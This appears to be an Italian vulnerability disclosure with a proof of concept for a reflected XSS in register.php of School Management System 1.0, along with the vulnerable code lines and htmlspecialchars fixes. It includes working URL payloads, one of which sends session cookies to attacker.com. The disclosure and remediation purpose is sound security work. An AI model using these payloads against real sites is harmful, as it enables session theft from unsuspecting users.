
# Proof-of-concept di XSS riflesso per School Management System 1.0 Dimostrazione dell'esecuzione non autenticata di JavaScript tramite il parametro `type` in `register.php`, con analisi dell'impatto e indicazioni di rimedio.
| Campo | Informazioni |
|---|
| ID CVE | CVE-2026-37750 |
| Tipo | Cross-Site Scripting (XSS) Riflesso |
| Gravità | Media (CVSSv3: 6.1) |
| Venditore | mahmoudai1 |
| Prodotto | School Management System |
| Versione | 1.0 |
| Scopritore | Varad AP Mene |
| Data | 2026-04-16 |
| CWE | CWE-79 |
Una vulnerabilità di Cross-Site Scripting (XSS) riflesso in School Management System 1.0 di mahmoudai1 consente a utenti remoti non autenticati di eseguire JavaScript arbitrario nei browser delle vittime tramite il parametro type non sanificato in register.php. Il parametro viene riflesso senza escaping all'interno di un tag h1 alla riga 22 e all'interno di un attributo action di un form alla riga 26. Non è richiesta alcuna autenticazione per sfruttare questa vulnerabilità.
ID CVE: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Media (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 è un'applicazione web PHP/MySQL di mahmoudai1 su GitHub utilizzata per gestire studenti, insegnanti e genitori nelle scuole.
URL del venditore: https://github.com/mahmoudai1/school-management-system
register.php — Modulo di registrazione (nessuna autenticazione richiesta)
Riga 22: echo ucfirst($_REQUEST['type'])
Riga 26: echo $_REQUEST['type']
Nessun htmlspecialchars() utilizzato — l'input utente grezzo viene riflesso direttamente nell'HTML.
Prerequisiti:
Passo 1 — Aprire il browser e visitare questo URL: http://target/register.php?type=script-alert-document.cookie-/script
Passo 2 — JavaScript viene eseguito nel browser Risultato: viene visualizzata una finestra di avviso che mostra i cookie di sessione.
Passo 3 — Payload per il furto di cookie: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Passo 4 — Payload per l'iniezione nell'attributo action del form: http://target/register.php?type="-script-alert(1)-/script
Due punti di iniezione confermati:
Punto di Iniezione 1 — All'interno del tag h1 (riga 22):
echo ucfirst($_REQUEST['type'])
Output:
<h1><script>alert(1)</script> Application</h1>
Punto di Iniezione 2 — All'interno dell'attributo action del form (riga 26):
echo $_REQUEST['type']
Output:
<form action="register.php?type=<script>alert(1)</script>">
Correzione riga 22: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Correzione riga 26: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene Email: [email protected] GitHub: https://github.com/menevarad007